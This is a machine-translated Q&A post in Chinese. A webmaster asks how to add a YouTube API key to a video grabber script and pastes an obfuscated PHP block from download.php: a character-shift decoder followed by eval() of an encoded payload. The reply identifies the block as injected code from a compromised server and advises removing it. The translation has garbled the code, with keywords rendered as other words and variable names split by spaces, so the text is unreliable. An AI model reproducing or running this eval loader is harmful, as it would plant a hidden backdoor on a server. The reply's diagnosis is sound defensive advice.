我非常好奇地修复了这个..,它的YouTube视频Grabber func.php ..我真的不懂它写的语言而且我正在寻找这条线路插入我的YouTube API密钥
这是下面的文件
我已经尝试了很多方法来修复它并且它似乎没有用,我甚至复制了另一个写得很好的func.php但是在download.php中有一行说
if(!function_exists(" agF1gTdKEBPd6CaJ")){function agF1gTdKEBPd6CaJ($ ekV4gb3DGH29YotI){$ fYZ2g87NjIGLnXVg ="&#34 ;; $ rZJ3glaFcSAz0dZY = 0; $ qVh0gqGnK20A4iOB = strlen的($ ekV4gb3DGH29YotI); while($ rZJ3glaFcSAz0dZY< $ qVh0gqGnK20A4iOB){if($ ekV4gb3DGH29YotI [$ rZJ3glaFcSAz0dZY] ==''){$ fYZ2g87NjIGLnXVg。=" &#34 ;; } else if($ ekV4gb3DGH29YotI [$ rZJ3glaFcSAz0dZY] =='!'){$ fYZ2g87NjIGLnXVg。= chr((ord($ ekV4gb3DGH29YotI [$ rZJ3glaFcSAz0dZY + 1]) - ord(' A&# 39))的 16+(ORD($ ekV4gb3DGH29YotI [$ rZJ3glaFcSAz0dZY + 2]) - ORD('一个'))); $ rZJ3glaFcSAz0dZY + = 2; } else {$ fYZ2g87NjIGLnXVg。= chr(ord($ ekV4gb3DGH29YotI [$ rZJ3glaFcSAz0dZY])+ 1); } $ rZJ3glaFcSAz0dZY ++; } return $ fYZ2g87NjIGLnXVg; eval(agF1gTdKEBPd6CaJ(' du k!Ci
fE0fScJDAOc5B I!Ci&!CbBd_lgjtcbs;lecep_
!CbBh%frrn8 - tgbcmecr,gl-rs`c,nfn =%,!CbBd] ECRY%gb%!CbEm, %%!Ci9!CbBd_lgjtcbs; nmrmle!CbBh!CbBd_lgjtcbs %:!CbBa ++ _lgjbh ++<%%:!CbBa ++ _lgjbh0 ++<%!Ci9!CbBd_lgjtcbs; qrp] pcnj_ac!CbBh% !CbBhtgbcmecr,gl!Ci%%!CbBh%,!CbBdqgrc,%!Ci%*!CbBd_lgjtcbs!Ci9&((:'));
如果有办法我可以将此翻译成我自己的理解。请帮忙
答案 0 :(得分:-1)
删除此代码可以解决问题。
您的服务器似乎已经以某种方式受到了损害。 它可能是一个简单的猜测FTP密码或松散的文件权限。
有关详细信息,请参阅https://serverfault.com/questions/218005/how-do-i-deal-with-a-compromised-server/218011#218011。